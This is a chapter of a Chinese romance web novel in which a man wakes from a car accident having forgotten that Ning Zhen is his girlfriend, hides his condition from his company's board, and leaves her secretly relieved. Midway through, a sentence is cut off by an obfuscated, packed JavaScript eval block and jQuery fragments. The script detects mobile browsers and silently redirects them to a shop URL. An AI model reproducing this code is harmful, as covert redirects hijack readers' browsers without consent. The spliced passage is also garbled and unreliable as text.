肖雪珍和孟敬山急匆匆赶来。


    而孟显闻在勒令下,配合着做了全身检查,整个医生团队再三研究,又结合孟家过往的旧事,得出结论,他的部分记忆开始紊乱甚至丢失。


    “什么意思?”


    肖雪珍急声追问。


    医生看了眼穿着病号服的孟显闻,他端坐在一旁,双手交叉放在桌上,只在确定记忆似乎丢失时轻微地皱了下眉头,剩下的时间他表情毫无波澜,仿佛他们谈论的病患不是他。


    太过理智,平静,从容。


    但也符合他的身份。


    “打个比方,记忆是一整面拼图,他有可能缺失几块小的,究竟遗忘了什么,现在还无法判断。”


    宁真站在孟显闻身后,闻言心下一惊。


    随随便便撞一下就能失忆这种事,放过去她才不会相信,上坟烧报纸糊弄鬼呢!


    但今天肖雪珍提及一桩旧事,她猛然记起,汪奶奶还在世时曾经以玩笑口吻无意间提到过,孟显闻的爷爷艺高人胆大,做生意也莽得很,得罪人还往前冲。


    有一次去外地被人盯上,挨了一顿好打,人没事,住了几天院,但醒来后就忘记取款凭条藏哪了,怎么想也记不起来,更找不到,那是恒兴创立初期遇到的最大坎坷。


    老爷子在此之前敢闯敢做,对手底下的人也宽容,但这件事后,他开始多疑,除了妻子,不再相信任何人,那会儿他怀疑合伙人偷了取款凭条,怀疑所有人,甚至包括还没满二十岁的孟敬山。


    近十年后,某天到了老爷子母亲的忌日,请了不少高僧来家里,人来人往的,有个手脚不麻利的小和尚不小心打碎了遗照,老爷子火气上来就要训斥,结果低头一看,碎掉的玻璃下是照片,照片下露出泛黄的纸张,拿起一看,就是取款凭条。


    那一天,已经当了爸爸的孟敬山猛虎落泪,他终于洗刷了偷钱的冤屈。


    谁能想到老爷子会把取款凭条藏在老母亲的遗像后面呢?


    汪奶奶把它当个笑话说,宁真那会儿小,也被逗得哈哈大笑,但时隔多年后,此情此景太熟悉了!


    “我家老头以前也这样。”孟敬山一脸忧心忡忡,“他忘了事,一直没想起来。”


    “爸。”


    一直沉默的孟显闻开口了,却是提醒他不要在外人面前提起爷爷闹出来的笑话。


    孟敬山回过神,清了清嗓子,“没事吧?”


    医生回:“应该不影响日常生活,”她提议,“我们可以拟出几种方案,试试看能不能帮助孟先生尽快恢复。”


    “不用。”


    孟显闻平静:“我没事,什么时候可以办理出院?”


    肖雪珍、孟敬山还有孟嘉然齐刷刷看向他。


    都这个时候了,还出院?这不是胡闹?


    宁真也诧异地盯着孟显闻的后脑勺。但她不是担心他的身体,她只是脑子里浮现一个大胆的念头,他都失去了哪些记忆呢?她反复回忆他醒来后对她说的话,他好像对她的态度……不太对?


    对!态度!


    就好像回到了那件事发生之前。


    等等,他该不会忘记他们是怎么在一起的,也忘记了他们的协议?


    …


    半个小时后。


    一行人回到病房,门一关,肖雪珍便迫不及待地说道:“显闻,你别胡闹,我们得听医生的,你这就是车祸后遗症,不能拖,得治。”


    孟显闻平淡地扫过他们,在宁真脸上停留几秒,微不可察地蹙眉,很快恢复寻常,“真真,辛苦你跑一趟,帮我看看受伤司机那边的情况,好吗?”


    宁真疑惑地眨眨眼,点头,“哦,好。”


    在他宽和的目光中,她一头雾水地走出病房,走着走着,她停下脚步,不对,他这算不算支开她??


    病房里。


    孟显闻抬了抬眼,他的跟班小弟孟嘉然懂了他的意思,上前关上房门。


    等病房只剩他们一家四口后,孟显闻才缓声开口:“爸,我这几天不方便,你帮我安排下,让医院对我的病例保密,最好删掉,对外就说我受了皮外伤,明天出院。”


    “???”


    面对最亲的三个人不理解的神情,他无声地叹了口气,言简意赅道:“还有两个月,公司研发的项目就会发布。”


    孟敬山面色微变。


    他现在虽然半退,但恒兴内部的重大决策都得他投票点头。儿子口中的项目花费的人力物力无数,在这个节骨眼上,确实不能出一点差错。


    这话一出,三人沉默。


    就连孟嘉然也知道轻重缓急,这个项目背后有很多人的心血。孟显闻接手恒兴后,一直在着手准备进军科技领域,一旦董事会知道他真正的情况,恐怕会节外生枝。


    “可是你的身体——”肖雪珍不想赞同,一脸焦灼。


    “妈,没事。”孟显闻来到她身侧,揽住她的肩膀,低声安慰,“您别担心,我会和路源如实说明,他会看着办。”


    提到路源,肖雪珍舒展眉头,神情总算缓和许多。


    路源是孟显闻多年发小,和亲兄弟没什么区别,几年前,路源学成归来,接手了家族旗下的医院,有他在,他们确实可以放心。


    “哥,所以你的意思是现在要瞒着外界?”


    孟嘉然问,“私底下你再偷偷看病?”


    “暂时这样。”孟显闻颔首,“明天一早我出院,继续待在南城处理公事,你带爸妈先回去。”


    肖雪珍不乐意,可她也不能拒绝。


    想了想,各退一步,她说:“我们回去可以,真真要留下来照顾你,不然我不放心。”


    大家都留下来,的确兴师动众,明摆着告诉别人,孟显闻出了大事。


    可宁真单独留下,理由都不用找,热恋期的情侣黏在一起,顺便度假散心,谁也不会怀疑。


    孟敬山赞同:“这个可以。”


    孟嘉然也点头:“正好真真也请了一周假。”


    反倒是从醒来后就无比淡定从容的孟显闻停顿几秒,拧眉:“真真?她照顾我?”


    肖雪珍误会他的意思,正要据理力争,话到嘴边咽了回去,对上儿子沉静的眼眸,她试探着说:“等等,显闻,你是不是忘记真真是你女朋友了?”


    -


    孟嘉然头都是木的。


    他被爸妈打发离开病房,拖着沉重的步伐在廊道上来回徘徊,跟无头苍蝇似的,无措地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313048|198721||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    抓抓头发,脑子都快炸掉,既要担心哥的身体状况,还要绞尽脑汁思考该如何跟真真开口。


    偏偏,这个棘手的任务落在了他身上。


    没办法,谁叫他和真真关系最要好。他咬咬牙,往电梯厅走去,同时拨出了宁真的号码,那头很快接通,传来她疲惫的声音,“怎么了?”


    他干巴巴没话找话,“司机那边还好吧?”


    “还行。”


    宁真说,“他老婆在照顾他,我没好多待。”


    “那你现在在哪?”


    “我?”她笑笑,“我去拿你哥的行李箱,车送去店里了,司机给那边打了电话,让人送过来,我去医院门口接,他这人你又不是不知道,挑剔得很,别的剃须刀他用不习惯。”


    孟嘉然心生感慨。


    真真平日里看着没心没肺,但对他哥,真挺好的。


    不是放在心尖上,哪里会注意到这些细节。


    “行,我去找你。”他说。


    宁真轻轻地嗯了声。挂了电话后,她不紧不慢起身,将司机老婆给她削的苹果吃完,擦了擦手,湿纸巾和苹果核一起扔进垃圾桶里,慢悠悠地往门口走。


    她其实很想躲在病房门外听听里面的动静。


    但只能忍住!


    太难捱了,还好孟嘉然要来找她,她这会儿抓心挠肝,太想太想知道孟显闻的状况,别的她不关心,她关心的是,关于她的部分,他记得多少,遗忘多少。


    这对她很重要!


    今天是阴天,不冷不热,工作日的医院人也不多,从vip住院楼到门口,慢慢热闹起来,她百无聊赖地站在门口,就在第十次看向手机时,身后传来孟嘉然的喘气声,“真真。”


    她闻声回头。


    孟嘉然平复呼吸后,视线生硬地望向车流,“你等多久了,那边什么时候来?”


    “没多久。”


    宁真打量他。


    他目光闪躲,一副很为难的模样。他从小就这样,遇上开不了口,又不得不开口的事,总会顾左右而言他,废话一箩筐,就是不说正事,“南城的交通比北城强多了,天气也好,哎,对了,昨天咱们去的那家餐厅还行,要不中午打电话让人送餐,医院的饭我真吃不惯,妈也不爱吃。”


    宁真懒得拆穿他,心不在焉地听着,内心却琢磨着孟显闻的举动。


    他把她支开,这个她可以理解。


    但……


    她还是觉得有什么地方古里古怪的。


    孟嘉然嘴巴都快说干了,总算进入正题,他放轻了声音,“真真,有件事我不知道该不该……”


    “说。”


    “你知道,我哥这几年特别忙,他都很少回家,心思都扑在公司上。”孟嘉然斟酌再斟酌,“家里的事他没怎么管,就一工作狂,他居然都不记得我回国了,哈哈。”


    “他不是故意把你支开,他好像也不记得他是你男朋友了。”他顿了顿,语气刻意振奋,“不过你放心,脑震荡嘛,他缓一缓什么都会想起来,哎哎哎,真真,真姐,你别哭啊——”


    听着这番颠三倒四的话,宁真一阵怔忡,小心脏怦怦狂跳,喜极而泣,呜呜呜她就知道老天不会对她太绝情!